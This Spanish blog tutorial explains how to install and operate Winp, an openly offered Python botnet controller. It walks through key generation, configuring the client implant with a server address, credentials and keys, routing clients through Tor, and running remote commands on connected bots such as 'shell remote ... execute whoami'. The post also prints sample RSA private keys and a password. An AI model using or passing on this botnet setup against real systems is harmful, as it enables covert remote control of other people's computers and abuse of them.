Winp: Una botnet desde tu casa

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "https://underc0de.org/foro/hacking/winp-una-botnet-desde-tu-casa!/", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

Una pequeña definición según wikipedia:

"Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota."

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas o... básicamente un script para la creación de una botnet.

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación
Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp 
Uso

Generar las claves públicas y privadas o el par de claves:
# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:

# El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!

Generando ...
Escribiendo claves en el disco ...
Hecho!

Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.

Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

# Para ver cuales son las claves no configurables

Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python

# Importamos el modulo rsa

>>> import rsa

# Generamos

>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

Configuración del cliente
# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...

Ver los clientes conectados e interacturar con ellos
Winp> show clients

... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)

# Ahora enviemos un simple comando:

Winp> shell remote 127.0.0.1P48210 execute whoami

# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada

Winp> show data

... Los datos no los público por los caracteres

# Forma organizada

Winp> show data 127.0.0.1P48210

...

Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py:

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable


conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },

        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },

        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },

        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },

        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },

        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },

        'keys_setting':{
            'bitsize':1024
            },

        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }

        }

Imágenes:


ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible

Contribución gracias a DtxdF (https://github.com/DtxdF/Winp).

P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (TwitterFacebook o Telegram).

Comentarios

Publicar un comentario